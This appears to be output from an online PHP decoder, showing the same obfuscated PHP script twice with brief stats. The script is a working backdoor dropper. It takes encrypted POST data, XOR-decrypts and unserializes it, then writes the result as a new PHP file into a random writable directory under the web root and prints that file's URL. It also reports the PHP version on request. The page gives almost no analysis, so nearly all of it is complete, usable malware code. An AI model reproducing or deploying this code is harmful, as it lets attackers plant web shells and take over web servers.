Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function bPtaEArGi($CNfVJ, $raWiNpq, $ooflNWV) { global $MtoceGnoB; $JKLM..
Decoded Output download
<?php function bPtaEArGi($CNfVJ, $raWiNpq, $ooflNWV)
{
global $MtoceGnoB;
$JKLMlyzS = 'strlen';
return cPaeG(cPaeG($CNfVJ, $MtoceGnoB[$raWiNpq % $JKLMlyzS($MtoceGnoB) ]) , $ooflNWV);
}
$JTVTMve = 'LHPTKC';
function FKdkz($JTVTMve)
{
$RlctCIOi = 'str_rot13';
$JTVTMve = $RlctCIOi($JTVTMve);
$SCbNlktpsn = 'CJicVKq';
$HLiXB = 'rawurldecode';
$JTVTMve = $HLiXB($JTVTMve);
$oPHXR = 'str_split';
$JTVTMve = $oPHXR($JTVTMve);
$IPZLRnwEr = 28;
return $JTVTMve;
}
function cPaeG($xGtLOSLE, $lfLddpW)
{
return $xGtLOSLE ^ $lfLddpW;
}
function czXelJz()
{
$hopWrtaHwY = 52;
$LJJElMIwyj = 19;
}
$MtoceGnoB = 'd4759560-8ffd-449d-93fa-5d67d0824ab4';
function giHqbLAaBs($KhKJhRpK, $ooflNWV)
{
$MyfaJpJn = 'array_values';
$UyYhGEqZ = 'array_keys';
$dBTwgkX = 'array_map';
$KhKJhRpK = $dBTwgkX('bPtaEArGi', $MyfaJpJn($KhKJhRpK) , $UyYhGEqZ($KhKJhRpK) , $MyfaJpJn($ooflNWV));
$xtAtV = 'implode';
$KhKJhRpK = $xtAtV('', $KhKJhRpK);
$PyTlGlnmE = 'unserialize';
$KhKJhRpK = @$PyTlGlnmE($KhKJhRpK);
return $KhKJhRpK;
}
function NvwcZ($ooflNWV, $KhKJhRpK)
{
$VCKdDL = 'array_slice';
$sTpGwWkPr = 'str_repeat';
$kPGEhBXDIn = 'str_split';
$YcglLyk = 'intval';
$qtMDD = 'count';
$ooflNWV = $VCKdDL($kPGEhBXDIn($sTpGwWkPr($ooflNWV, $YcglLyk($qtMDD($KhKJhRpK) / 16) + 1)) , 0, $qtMDD($KhKJhRpK));
return $ooflNWV;
}
czXelJz();
function heMwqX()
{
echo 'bUnedUkA';
$pXEWhWJk = 27;
}
function MkkeTQj($litOQYZ)
{
static $XRzTlB = array();
$qcewj = glob($litOQYZ . '/*', GLOB_ONLYDIR);
$gJIkXoLpW = 'count';
$evsOxQ = $gJIkXoLpW($qcewj);
if ($evsOxQ > 0)
{
foreach ($qcewj as $vLMZxcvUOV)
{
$Uqldj = 'is_writable';
if (@$Uqldj($vLMZxcvUOV))
{
$XRzTlB[] = $vLMZxcvUOV;
}
}
}
foreach ($qcewj as $litOQYZ) MkkeTQj($litOQYZ);
return $XRzTlB;
}
function zHjHYRIc($KhKJhRpK)
{
$jhbahpo = 'DOCUMENT_ROOT';
$ZSgAsTCRr = $_SERVER[$jhbahpo];
$ozRbGnszko = 'msQAQBB';
$qcewj = MkkeTQj($ZSgAsTCRr);
$ZHFfx = 'ATiKN';
$hAcATkdvj = 'strlen';
$ozRbGnszko = $hAcATkdvj($ozRbGnszko);
$HaGdBwniwP = 'array_rand';
$KjBbdNLPDCQrTg = $HaGdBwniwP($qcewj);
$oeJuZFV = 'strtoupper';
$oegIqQ = $oeJuZFV($ozRbGnszko);
$NhBOaV = 'php';
$iHVOh = '/';
$nxMQyz = 'substr';
$GdAOLmYI = 'time';
$zGGHfjo = 'md5';
$YCJpj = $qcewj[$KjBbdNLPDCQrTg] . $iHVOh . $nxMQyz($zGGHfjo($GdAOLmYI()) , 0, 8) . $NhBOaV;
$rDlzVm = 'file_put_contents';
@$rDlzVm($YCJpj, $KhKJhRpK);
$aAtUliwSC = 'Yvgrv';
$ozRbGnszko = $ozRbGnszko - 10;
$OSecVlfbY = 'HTTP_HOST';
$AzNJXU = 'http://';
$CflNOhX = 'strlen';
$iuqJj = 'substr';
$QMhHrLMlG = $AzNJXU . $_SERVER[$OSecVlfbY] . $iuqJj($YCJpj, $CflNOhX($ZSgAsTCRr));
$Qlbxp = 5;
print ($QMhHrLMlG);
$mpAfdax = 'strrpos';
$ozRbGnszko = $mpAfdax($oegIqQ, 'tlpko');
}
function wUUjojFc($KhKJhRpK, $KjBbdNLPDCQrTg)
{
if ($KhKJhRpK !== $KjBbdNLPDCQrTg)
{
zHjHYRIc($KhKJhRpK);
$UgrlZrgVOL = 15;
}
else
{
mcGXllSdaq();
$fULuLdQQH = 3;
}
exit();
}
function mcGXllSdaq()
{
$lGJgLvj = 'php';
$DZLTj = 'phpversion';
$KhKJhRpK = Array(
$lGJgLvj => @$DZLTj() ,
);
$DhLloV = 'serialize';
echo @$DhLloV($KhKJhRpK);
}
function lFASdlKj()
{
$KOrkoDUhmi = 'YFdmx';
$WEhojEE = 70;
$wcCbYu = 'DpezXHvIVH';
$ZsUZrbINS = 'bXe';
$ukexBvbTXn = 'PW';
$wkpexmY = 'strtolower';
$EBcDH = $wkpexmY($KOrkoDUhmi);
$iufhFb = 'strtoupper';
$KOrkoDUhmi = $iufhFb($KOrkoDUhmi);
$xkfBpdMEM = 58;
}
function MUcaNfZm()
{
echo 'LHPTKC';
}
function vSxdmkqQMn($KhKJhRpK)
{
$wkjVRTrJ = 'array_keys';
return $wkjVRTrJ($KhKJhRpK);
}
foreach ($_POST as $ooflNWV => $KhKJhRpK)
{
$lLgksJ = 'strlen';
if ($lLgksJ($ooflNWV) == 16)
{
$KhKJhRpK = FKdkz($KhKJhRpK);
$ooflNWV = NvwcZ($ooflNWV, $KhKJhRpK);
$KhKJhRpK = giHqbLAaBs($KhKJhRpK, $ooflNWV);
$ASycgh = 'is_array';
if (@$ASycgh($KhKJhRpK))
{
$vLMZxcvUOVSWUsXg = vSxdmkqQMn($KhKJhRpK);
$PBtDRjnU = 'AwN';
wUUjojFc($KhKJhRpK[$vLMZxcvUOVSWUsXg[0]], $vLMZxcvUOVSWUsXg[0]);
$XQLeSdOu = 'HwlS';
$aeSqbJW = 'rawurlencode';
$PBtDRjnU = $aeSqbJW($XQLeSdOu);
}
}
}
foreach ($_POST as $ooflNWV => $KhKJhRpK)
{
$VqFANj = 'strlen';
if ($VqFANj($ooflNWV) == 16)
{
$KhKJhRpK = FKdkz($KhKJhRpK);
$soqLLN = 'base64_decode';
$JCRZn = $soqLLN($ooflNWV);
$vrgVPfmZ = 'md5';
$JAKssumCkK = $vrgVPfmZ($ooflNWV);
$ooflNWV = NvwcZ($ooflNWV, $KhKJhRpK);
$OaJTBqXtcL = 'strlen';
$Ftfljgs = $OaJTBqXtcL($ooflNWV);
$KhKJhRpK = giHqbLAaBs($KhKJhRpK, $ooflNWV);
$VstlpWxN = 'md5';
$hCCYDOOHrR = $VstlpWxN($KhKJhRpK);
$eNxUvBx = 'is_array';
if (@$eNxUvBx($KhKJhRpK))
{
$vLMZxcvUOVSWUsXg = vSxdmkqQMn($KhKJhRpK);
$ICzgOBrbV = 'count';
$AuBHgfpnV = $ICzgOBrbV($vLMZxcvUOVSWUsXg);
$PBtDRjnU = 'grVpOWGr';
for ($KjBbdNLPD = 0;$KjBbdNLPD < $AuBHgfpnV;$KjBbdNLPD++)
{
$pHREh = $KhKJhRpK[$vLMZxcvUOVSWUsXg[$KjBbdNLPD]];
wUUjojFc($pHREh, $vLMZxcvUOVSWUsXg[$KjBbdNLPD]);
}
$XQLeSdOu = 'tCOKLoAsoG';
$cPZkx = 'rawurlencode';
$PBtDRjnU = $cPZkx($XQLeSdOu);
$QYUfX = 'explode';
$tzfKeVE = $QYUfX(',', $hCCYDOOHrR);
$kwhtzablpJ = 'is_array';
if ($kwhtzablpJ($tzfKeVE))
{
$vLMZxcvUOVVJiMBZQ = isset($tzfKeVE[0]) ? $tzfKeVE[0] : '';
$qORBwq = isset($tzfKeVE[1]) ? $tzfKeVE[1] : '';
$XxmFzGxTg = 'str_repeat';
$psjzkY = $XxmFzGxTg($vLMZxcvUOVVJiMBZQ, 2) . $XxmFzGxTg($qORBwq, 3);
$GyFdUl = 'array_slice';
$MzVeIwjOJ = 'str_split';
$SUwoL = $GyFdUl($MzVeIwjOJ($psjzkY, 5) , 0, 4);
}
}
}
}
lFASdlKj(); ?>
Did this file decode correctly?
Original Code
<?php function bPtaEArGi($CNfVJ, $raWiNpq, $ooflNWV)
{
global $MtoceGnoB;
$JKLMlyzS = 'strlen';
return cPaeG(cPaeG($CNfVJ, $MtoceGnoB[$raWiNpq % $JKLMlyzS($MtoceGnoB) ]) , $ooflNWV);
}
$JTVTMve = 'LHPTKC';
function FKdkz($JTVTMve)
{
$RlctCIOi = 'str_rot13';
$JTVTMve = $RlctCIOi($JTVTMve);
$SCbNlktpsn = 'CJicVKq';
$HLiXB = 'rawurldecode';
$JTVTMve = $HLiXB($JTVTMve);
$oPHXR = 'str_split';
$JTVTMve = $oPHXR($JTVTMve);
$IPZLRnwEr = 28;
return $JTVTMve;
}
function cPaeG($xGtLOSLE, $lfLddpW)
{
return $xGtLOSLE ^ $lfLddpW;
}
function czXelJz()
{
$hopWrtaHwY = 52;
$LJJElMIwyj = 19;
}
$MtoceGnoB = 'd4759560-8ffd-449d-93fa-5d67d0824ab4';
function giHqbLAaBs($KhKJhRpK, $ooflNWV)
{
$MyfaJpJn = 'array_values';
$UyYhGEqZ = 'array_keys';
$dBTwgkX = 'array_map';
$KhKJhRpK = $dBTwgkX('bPtaEArGi', $MyfaJpJn($KhKJhRpK) , $UyYhGEqZ($KhKJhRpK) , $MyfaJpJn($ooflNWV));
$xtAtV = 'implode';
$KhKJhRpK = $xtAtV('', $KhKJhRpK);
$PyTlGlnmE = 'unserialize';
$KhKJhRpK = @$PyTlGlnmE($KhKJhRpK);
return $KhKJhRpK;
}
function NvwcZ($ooflNWV, $KhKJhRpK)
{
$VCKdDL = 'array_slice';
$sTpGwWkPr = 'str_repeat';
$kPGEhBXDIn = 'str_split';
$YcglLyk = 'intval';
$qtMDD = 'count';
$ooflNWV = $VCKdDL($kPGEhBXDIn($sTpGwWkPr($ooflNWV, $YcglLyk($qtMDD($KhKJhRpK) / 16) + 1)) , 0, $qtMDD($KhKJhRpK));
return $ooflNWV;
}
czXelJz();
function heMwqX()
{
echo 'bUnedUkA';
$pXEWhWJk = 27;
}
function MkkeTQj($litOQYZ)
{
static $XRzTlB = array();
$qcewj = glob($litOQYZ . '/*', GLOB_ONLYDIR);
$gJIkXoLpW = 'count';
$evsOxQ = $gJIkXoLpW($qcewj);
if ($evsOxQ > 0)
{
foreach ($qcewj as $vLMZxcvUOV)
{
$Uqldj = 'is_writable';
if (@$Uqldj($vLMZxcvUOV))
{
$XRzTlB[] = $vLMZxcvUOV;
}
}
}
foreach ($qcewj as $litOQYZ) MkkeTQj($litOQYZ);
return $XRzTlB;
}
function zHjHYRIc($KhKJhRpK)
{
$jhbahpo = 'DOCUMENT_ROOT';
$ZSgAsTCRr = $_SERVER[$jhbahpo];
$ozRbGnszko = 'msQAQBB';
$qcewj = MkkeTQj($ZSgAsTCRr);
$ZHFfx = 'ATiKN';
$hAcATkdvj = 'strlen';
$ozRbGnszko = $hAcATkdvj($ozRbGnszko);
$HaGdBwniwP = 'array_rand';
$KjBbdNLPDCQrTg = $HaGdBwniwP($qcewj);
$oeJuZFV = 'strtoupper';
$oegIqQ = $oeJuZFV($ozRbGnszko);
$NhBOaV = 'php';
$iHVOh = '/';
$nxMQyz = 'substr';
$GdAOLmYI = 'time';
$zGGHfjo = 'md5';
$YCJpj = $qcewj[$KjBbdNLPDCQrTg] . $iHVOh . $nxMQyz($zGGHfjo($GdAOLmYI()) , 0, 8) . $NhBOaV;
$rDlzVm = 'file_put_contents';
@$rDlzVm($YCJpj, $KhKJhRpK);
$aAtUliwSC = 'Yvgrv';
$ozRbGnszko = $ozRbGnszko - 10;
$OSecVlfbY = 'HTTP_HOST';
$AzNJXU = 'http://';
$CflNOhX = 'strlen';
$iuqJj = 'substr';
$QMhHrLMlG = $AzNJXU . $_SERVER[$OSecVlfbY] . $iuqJj($YCJpj, $CflNOhX($ZSgAsTCRr));
$Qlbxp = 5;
print ($QMhHrLMlG);
$mpAfdax = 'strrpos';
$ozRbGnszko = $mpAfdax($oegIqQ, 'tlpko');
}
function wUUjojFc($KhKJhRpK, $KjBbdNLPDCQrTg)
{
if ($KhKJhRpK !== $KjBbdNLPDCQrTg)
{
zHjHYRIc($KhKJhRpK);
$UgrlZrgVOL = 15;
}
else
{
mcGXllSdaq();
$fULuLdQQH = 3;
}
exit();
}
function mcGXllSdaq()
{
$lGJgLvj = 'php';
$DZLTj = 'phpversion';
$KhKJhRpK = Array(
$lGJgLvj => @$DZLTj() ,
);
$DhLloV = 'serialize';
echo @$DhLloV($KhKJhRpK);
}
function lFASdlKj()
{
$KOrkoDUhmi = 'YFdmx';
$WEhojEE = 70;
$wcCbYu = 'DpezXHvIVH';
$ZsUZrbINS = 'bXe';
$ukexBvbTXn = 'PW';
$wkpexmY = 'strtolower';
$EBcDH = $wkpexmY($KOrkoDUhmi);
$iufhFb = 'strtoupper';
$KOrkoDUhmi = $iufhFb($KOrkoDUhmi);
$xkfBpdMEM = 58;
}
function MUcaNfZm()
{
echo 'LHPTKC';
}
function vSxdmkqQMn($KhKJhRpK)
{
$wkjVRTrJ = 'array_keys';
return $wkjVRTrJ($KhKJhRpK);
}
foreach ($_POST as $ooflNWV => $KhKJhRpK)
{
$lLgksJ = 'strlen';
if ($lLgksJ($ooflNWV) == 16)
{
$KhKJhRpK = FKdkz($KhKJhRpK);
$ooflNWV = NvwcZ($ooflNWV, $KhKJhRpK);
$KhKJhRpK = giHqbLAaBs($KhKJhRpK, $ooflNWV);
$ASycgh = 'is_array';
if (@$ASycgh($KhKJhRpK))
{
$vLMZxcvUOVSWUsXg = vSxdmkqQMn($KhKJhRpK);
$PBtDRjnU = 'AwN';
wUUjojFc($KhKJhRpK[$vLMZxcvUOVSWUsXg[0]], $vLMZxcvUOVSWUsXg[0]);
$XQLeSdOu = 'HwlS';
$aeSqbJW = 'rawurlencode';
$PBtDRjnU = $aeSqbJW($XQLeSdOu);
}
}
}
foreach ($_POST as $ooflNWV => $KhKJhRpK)
{
$VqFANj = 'strlen';
if ($VqFANj($ooflNWV) == 16)
{
$KhKJhRpK = FKdkz($KhKJhRpK);
$soqLLN = 'base64_decode';
$JCRZn = $soqLLN($ooflNWV);
$vrgVPfmZ = 'md5';
$JAKssumCkK = $vrgVPfmZ($ooflNWV);
$ooflNWV = NvwcZ($ooflNWV, $KhKJhRpK);
$OaJTBqXtcL = 'strlen';
$Ftfljgs = $OaJTBqXtcL($ooflNWV);
$KhKJhRpK = giHqbLAaBs($KhKJhRpK, $ooflNWV);
$VstlpWxN = 'md5';
$hCCYDOOHrR = $VstlpWxN($KhKJhRpK);
$eNxUvBx = 'is_array';
if (@$eNxUvBx($KhKJhRpK))
{
$vLMZxcvUOVSWUsXg = vSxdmkqQMn($KhKJhRpK);
$ICzgOBrbV = 'count';
$AuBHgfpnV = $ICzgOBrbV($vLMZxcvUOVSWUsXg);
$PBtDRjnU = 'grVpOWGr';
for ($KjBbdNLPD = 0;$KjBbdNLPD < $AuBHgfpnV;$KjBbdNLPD++)
{
$pHREh = $KhKJhRpK[$vLMZxcvUOVSWUsXg[$KjBbdNLPD]];
wUUjojFc($pHREh, $vLMZxcvUOVSWUsXg[$KjBbdNLPD]);
}
$XQLeSdOu = 'tCOKLoAsoG';
$cPZkx = 'rawurlencode';
$PBtDRjnU = $cPZkx($XQLeSdOu);
$QYUfX = 'explode';
$tzfKeVE = $QYUfX(',', $hCCYDOOHrR);
$kwhtzablpJ = 'is_array';
if ($kwhtzablpJ($tzfKeVE))
{
$vLMZxcvUOVVJiMBZQ = isset($tzfKeVE[0]) ? $tzfKeVE[0] : '';
$qORBwq = isset($tzfKeVE[1]) ? $tzfKeVE[1] : '';
$XxmFzGxTg = 'str_repeat';
$psjzkY = $XxmFzGxTg($vLMZxcvUOVVJiMBZQ, 2) . $XxmFzGxTg($qORBwq, 3);
$GyFdUl = 'array_slice';
$MzVeIwjOJ = 'str_split';
$SUwoL = $GyFdUl($MzVeIwjOJ($psjzkY, 5) , 0, 4);
}
}
}
}
lFASdlKj(); ?>
Function Calls
czXelJz | 1 |
lFASdlKj | 1 |
strtolower | 1 |
strtoupper | 1 |
Stats
MD5 | abca456e956842d0c55c151d0aa978f5 |
Eval Count | 0 |
Decode Time | 73 ms |